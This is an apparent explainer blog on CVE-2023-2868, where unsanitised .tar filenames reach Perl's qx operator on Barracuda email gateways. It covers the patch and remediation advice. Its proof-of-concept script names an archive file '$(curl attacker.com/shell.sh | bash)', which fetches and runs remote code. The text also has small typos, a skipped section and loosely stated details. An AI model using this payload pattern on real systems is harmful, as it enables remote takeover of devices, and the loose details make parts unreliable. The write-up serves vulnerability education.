---

A critical vulnerability (CVE-2023-2868) was discovered in Barracuda Email Security Gateway appliances. This affects versions 5.1.3.001 through 9.2..006 (appliance form factor only). This long-read explains how it works, how attackers abused it, and gives code snippets and original references—all in simple, down-to-earth language.

1. What’s the Problem?

The problem stems from incomplete sanitization of .tar archives uploaded by users. Specifically, when a .tar (tape archive) file is processed, the system does not properly check the filenames inside the archive. This oversight lets attackers craft filenames that, when handled by Barracuda’s backend Perl code, can cause remote command injection using Perl’s qx operator.

Result: Attackers can run system commands on targeted email appliances with the privileges of the appliance software—this is a “full remote code execution” (RCE).

2. Technical Deep Dive

Why?  
When you upload things like email logs or configuration backups, they’re stored as .tar files. The product’s script extracts and processes filenames from these tars without proper checks. Certain special patterns in file names exploit the Perl script.

The Perl Trap

Barracuda’s backend Perl code expects “safe” filenames. For speed, it uses the qx operator (backticks or ) to shell out commands that include filename values. But if filenames have shell code or tricks, qx will run that as a system command.

For example, in Perl

my $output = qx(tar -xf $uploaded_tar $file_from_tar);


If $file_from_tar is set by the user and not sanitized, it can include shell metacharacters, or even complete shell commands.

Here's an example of a malicious file in an archive

$(touch /tmp/hacked_baracuda)


If the Perl script extracts this filename, Perl’s qx will expand $(...) as a command, and the touch command will be executed—creating a file as proof of exploitation.

3. Proof of Concept (PoC) Snippet

Here’s a simplified version of what an attacker might do, step by step.

A Bash script to create a tarfile with a payload in the filename

mkdir evil_dir
touch "evil_dir/\$(curl attacker.com/shell.sh | bash)"
tar -cf evil_payload.tar -C evil_dir .


This puts a file in the archive named $(curl attacker.com/shell.sh | bash). When the Perl script extracts or lists files, the qx operator will execute that.

b. Send the File to a Vulnerable Device

Usually, the upload is via a web form on the Barracuda appliance’s admin interface, REST API, or email attachment.

4. Exploitation Details

- Access Needed: Attacker needs a way to upload a .tar file. Usually, this is through web admin, backup restore, or automated log handling features.
- What Happens: Malicious filename in .tar gets executed by Perl backend during import/restore.
- Impact: Code execution as root user (in most cases), total appliance compromise, potential for lateral movement inside networks.

6. What Did Barracuda Do?

Patch:  
Barracuda addressed this by fixing their filename input handling in BNSF-36456. They pushed this patch automatically to all customer appliances—no manual intervention needed. This disables the attack by sanitizing filenames and removing unsafe shell interactions.

> Important: This vulnerability is only in the *appliance* product, not Barracuda’s cloud or virtual versions.

7. Original References & Further Reading

- Barracuda CVE-2023-2868 Security Advisory
- NIST National Vulnerability Database: CVE-2023-2868
- Mandiant Technical Writeup on Barracuda Zero Day
- Huntress Labs – Technical Deep Dive & Detection Guidance

Don’t worry if your appliance checks for updates automatically—patch was already pushed.

- If you operate an affected device, review system logs, check for unexpected outbound connections, or files that shouldn’t be there.
- If in doubt, reset your appliance and change all passwords linked to admin, mail, or backup users.

💥 Conclusion

CVE-2023-2868 shows how overlooking filename handling in a critical product can have devastating consequences. With a simple .tar file and some shell trickery, attackers could take over Barracuda appliances in seconds. Thankfully, quick action and auto-patching have minimized damage for most users.

Stay sharp and make sure your security devices are always up to date!

Timeline

Published on: 05/24/2023 19:15:00 UTC
Last modified on: 06/01/2023 20:14:00 UTC